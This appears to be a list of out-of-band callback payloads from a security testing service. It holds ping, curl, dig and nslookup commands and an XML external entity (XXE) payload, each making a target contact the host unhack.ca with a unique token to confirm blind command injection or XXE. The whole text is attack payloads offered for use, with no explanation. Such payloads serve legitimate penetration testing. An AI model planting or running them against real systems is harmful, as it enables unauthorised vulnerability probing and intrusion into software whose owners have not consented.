$ ping -c1 -p 00f509d9184da1c3842dea1aa279af00 unhack.ca
$ curl http://unhack.ca/p/f509d9184da1c3842dea1aa279af
$ dig f509d9184da1c3842dea1aa279af @unhack.ca
$ dig f509d9184da1c3842dea1aa279af.ns.unhack.ca
C:\> nslookup f509d9184da1c3842dea1aa279af unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/f509d9184da1c3842dea1aa279af">]> <foo>&xxe;</foo>